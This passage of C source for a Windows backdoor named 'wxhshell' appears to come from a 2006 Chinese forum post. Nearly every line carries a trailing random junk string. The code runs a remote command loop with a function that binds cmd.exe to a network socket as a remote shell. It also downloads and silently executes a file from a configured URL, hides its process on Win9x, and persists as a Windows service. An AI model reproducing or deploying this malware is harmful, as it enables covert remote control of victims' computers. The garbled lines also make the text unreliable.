  } 'e*w8h  
  else { k0O5c[ j  
_yUYEq<`  
    switch(cmd[0]) { f1v4h[)-  
  _9t1 aP5  
  // 帮助 W8$0y2  
  case '?': { 122s 7A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JBLUX,  
    break; <&3aP}  
  } ez!W0  
  // 安装 ^H7xFd|>  
  case 'i': { -|^)8  
    if(Install()) GA$fueiQNs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a;^lOU|L{  
    else i\l}M]Z#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $/|) ,n  
    break; HzKY2F(,  
    } :fwtPvLo  
  // 卸载 zeuj  
  case 'r': { K6 >\4'q  
    if(Uninstall()) 8PH4v\tJEK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mNacLkh[  
    else 0ug&HEl_w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gpf0 -g-X  
    break; |,5|ZpgL  
    } $H[q5(_~  
  // 显示 wxhshell 所在路径 5O d]rE  
  case 'p': { p4MWX12  
    char svExeFile[MAX_PATH]; '8\9@wzv  
    strcpy(svExeFile,"\n\r"); D*[J rq,  
      strcat(svExeFile,ExeFile); $ ,]U~7S  
        send(wsh,svExeFile,strlen(svExeFile),0); ~Gz9pBv1  
    break; e3W~6P  
    } j*gJP !  
  // 重启 dr}PjwW%  
  case 'b': { PZJ9f8 V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IQ_s]b;z  
    if(Boot(REBOOT)) c AO:fb7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-Ex g*i  
    else { _K!.TM+9  
    closesocket(wsh); |idw?qCn  
    ExitThread(0); 2nC,1%kxhq  
    } {ri={p]l  
    break; jLt3jN  
    } LtX53c  
  // 关机 R'zi#FeP  
  case 'd': { .?Y"o3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <=&$+3r  
    if(Boot(SHUTDOWN)) j}",+H v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~=iH*AQR  
    else { K)mQcB-"?  
    closesocket(wsh); @`C'tfG/4  
    ExitThread(0); D?"P\b[/  
    } DE/SIy?  
    break; isd-b]@:Lc  
    } :&TM0O  
  // 获取shell aK - x{  
  case 's': { M @-:iP  
    CmdShell(wsh); u "jV#,,  
    closesocket(wsh); RU4X#gP4Vh  
    ExitThread(0); '!`\!=j-`  
    break; n`&D_AbQ  
  } M1xsGa9h&  
  // 退出 `MuX/ [q  
  case 'x': { 65qqs|&w;[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CN:T$ f|)  
    CloseIt(wsh);  [. 9[?8  
    break; 4jC)"tch  
    } iaEQF]*cC  
  // 离开 UAhWJ$(C  
  case 'q': { mu@J$\   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bV&9>fC  
    closesocket(wsh); ~[t#$2d}  
    WSACleanup(); `qs}L  
    exit(1); ]&]DF Y~n  
    break; A| A#|D  
        } wV==sV  
  } C&H'?0Y@  
  } aMhVO(+FW  
k%cE8c}R;A  
  // 提示信息 q0VAkVHw4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s$hO/INr  
} v { >3)$1  
  } n]' r3  
 XyE$0i~t  
  return; ^ZQMRNP{r  
} (vZ-0Ep}  
6d6cZGS[:  
// shell模块句柄 s__xBY  
int CmdShell(SOCKET sock) b-VygLN  
{ +|obU9M  
STARTUPINFO si; =;uMrb4  
ZeroMemory(&si,sizeof(si)); 7\2I>W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )8W! |  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h>\C2Q  
PROCESS_INFORMATION ProcessInfo; P\ke%Jdpw?  
char cmdline[]="cmd"; ai sa2#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pvyEs|f=%  
  return 0; oc( '!c  
} WSH[*jMA  
FefroaJ:u  
// 自身启动模式 M@.S Q@E  
int StartFromService(void) } jJKE  
{ "UMaZgI  
typedef struct [A84R04_%  
{ Mi8)r_l%O  
  DWORD ExitStatus; [cd1Mf:[Y  
  DWORD PebBaseAddress; ]A=\P,D  
  DWORD AffinityMask; &/WM:]^?0)  
  DWORD BasePriority; 5N|LT8P}Z  
  ULONG UniqueProcessId; ]E<Z5G1HD  
  ULONG InheritedFromUniqueProcessId; yqq1a o  
}   PROCESS_BASIC_INFORMATION; O68-G  
JpfA+r  
PROCNTQSIP NtQueryInformationProcess; >[;@ [4}  
5;0w({1l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -/JEKw c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (^}t  
?lsK?>uU  
  HANDLE             hProcess; .u7} p#  
  PROCESS_BASIC_INFORMATION pbi; )C8^'*!  
wg?}c ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cr!W5+r  
  if(NULL == hInst ) return 0; Jh E C  
iX+8!>Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JKM(fX+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0AQ4:KV(Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "?3=FBp&  
dRJ ](Gw  
  if (!NtQueryInformationProcess) return 0; 'OtT q8G  
xO )c23Z)]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4<#ItQ(  
  if(!hProcess) return 0; i86:@/4~F  
F5Xb_&   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TI7$J#  
_ l`F}v  
  CloseHandle(hProcess); OX;(Mg|  
4@-tT;$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rc8HZ  
if(hProcess==NULL) return 0; @ar%`+_  
\ =hg^j  
HMODULE hMod; >+dS PI  
char procName[255]; et 1HbX  
unsigned long cbNeeded; kBR=a%kG  
3k)xzv%r`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =IMmtOvJ  
_h-agn4[i  
  CloseHandle(hProcess); 3<r7"/5  
,IPt4EH$  
if(strstr(procName,"services")) return 1; // 以服务启动 A`3KE9ED  
VAL? Z  
  return 0; // 注册表启动  ydzsJ+dx  
} d*^JO4'  
VxN#\D i&  
// 主模块 as:l1S   
int StartWxhshell(LPSTR lpCmdLine) &}p\&4  
{ L }*o8l`  
  SOCKET wsl; k _V+;&:%  
BOOL val=TRUE; D", L.  
  int port=0; ]2@(^x'=  
  struct sockaddr_in door; >`x|E-X"  
qIZ+%ZOu  
  if(wscfg.ws_autoins) Install(); 1$T`j2s  
!.j{vvQ/  
port=atoi(lpCmdLine); Qf=^C Q=lV  
$vXY"-k  
if(port<=0) port=wscfg.ws_port; |D)CAQn,  
$\P/ %eP  
  WSADATA data; _R\FB|_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?C2(q6X+s  
,"`20.Lv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ED>7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5<(* +mP`  
  door.sin_family = AF_INET; w PR Ns9^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LLTr+@lj  
  door.sin_port = htons(port); R@3HlGuRKw  
HKJCiQ|k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u<:uL  
closesocket(wsl); H>/,Re  
return 1; ~RbVcB#  
} ~%*l>GkP*  
U%@PY9#  
  if(listen(wsl,2) == INVALID_SOCKET) { ">Qxb.Y}  
closesocket(wsl); @H?OHpJ"`  
return 1; K`N$nOw  
} bW W!,-|R  
  Wxhshell(wsl); *,X)tZ6VX  
  WSACleanup(); }SSg>.48w  
~},H+A!?  
return 0; > V(C>^%->  
0e8  
} epnZGz,A  
KJT N"hF   
// 以NT服务方式启动 DIGw4g4Kt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Mc&=}bV  
{ k5\V:P=#  
DWORD   status = 0; fh =R  
  DWORD   specificError = 0xfffffff; .$-;`&0cZ  
D/=05E%[81  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k$%{w\?Jf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #eKKH]J/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a^&"gGg  
  serviceStatus.dwWin32ExitCode     = 0; }` 3-  
  serviceStatus.dwServiceSpecificExitCode = 0; \5}PF+)|  
  serviceStatus.dwCheckPoint       = 0; jj&G[-"bv  
  serviceStatus.dwWaitHint       = 0; *I?-A(e  
@-)S*+8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^IiA(?8  
  if (hServiceStatusHandle==0) return; -`q!mdA2  
LBG`DYR@  
status = GetLastError(); z\tY A  
  if (status!=NO_ERROR) [Z/P[370  
{ h's[) t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xCL)<8[R,}  
    serviceStatus.dwCheckPoint       = 0; =M 8Mt/P  
    serviceStatus.dwWaitHint       = 0; ;*qXjv& K  
    serviceStatus.dwWin32ExitCode     = status; v>K|hH  
    serviceStatus.dwServiceSpecificExitCode = specificError; :j+E]|d(~6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vltE2mb  
    return; zk$h71<{.  
  } {($mLfC4  
2+pw%#fe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )b nGZ8h99  
  serviceStatus.dwCheckPoint       = 0; \Nik`v*Pd  
  serviceStatus.dwWaitHint       = 0; eM$a~4!d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q% aF~  
} nycJZ}f:wP  
puMVvo  
// 处理NT服务事件,比如:启动、停止 G--vwvL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e[x,@P`  
{ %GjG.11V,_  
switch(fdwControl) E*)A!2rlK  
{ _\4r~=`HQ  
case SERVICE_CONTROL_STOP: _~Od G  
  serviceStatus.dwWin32ExitCode = 0; aEdMZ+P.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MkVv5C  
  serviceStatus.dwCheckPoint   = 0; ^'Lp<YJs6  
  serviceStatus.dwWaitHint     = 0; 6 p;Pf9 f  
  { rIPg,4y*S!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fQ~~%#z1  
  } 5%(  
  return; fX9b1x  
case SERVICE_CONTROL_PAUSE: ("A45\5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {!( htg;  
  break; w:B&8I(n}w  
case SERVICE_CONTROL_CONTINUE: =KR^0<2r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vH6(p(l  
  break; >7a ENKOg:  
case SERVICE_CONTROL_INTERROGATE: fPN/Mxu  
  break; %zc.b  
}; G{.=27  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7oLlRU  
} r8R7@S2V'  
8u[.s`^  
// 标准应用程序主函数 b7xOm"X,N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >*/ |t L  
{ f(}&8~&  
\W_ Dz*N  
// 获取操作系统版本 ++w{)Io Z  
OsIsNt=GetOsVer(); ~+ae68{p  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  U'b}%[  
LkeYzQH/l  
  // 从命令行安装 dh}"uM}a  
  if(strpbrk(lpCmdLine,"iI")) Install(); QN;NuDHN  
&VjPdu57  
  // 下载执行文件 U#Kw+slM  
if(wscfg.ws_downexe) { , -d2wzhW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S%]4['Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); *>iJ=H  
} M2:3 k  
l+(B~v  
if(!OsIsNt) { 4cm~oZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ! pa7]cZ  
HideProc(); QncjSaEE  
StartWxhshell(lpCmdLine); S% ptG$Z  
} Y,n8co^  
else *s1o?'e  
  if(StartFromService()) ZWFOC,)b  
  // 以服务方式启动 31g1zdT!  
  StartServiceCtrlDispatcher(DispatchTable); ^l(,'>Cn  
else j}h%, 7  
  // 普通方式启动 {>R933fap  
  StartWxhshell(lpCmdLine); ,9:v2=C_  
ctgH/SU  
return 0; t- //.  
}
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只看该作者 1 发表于: 2006-10-10
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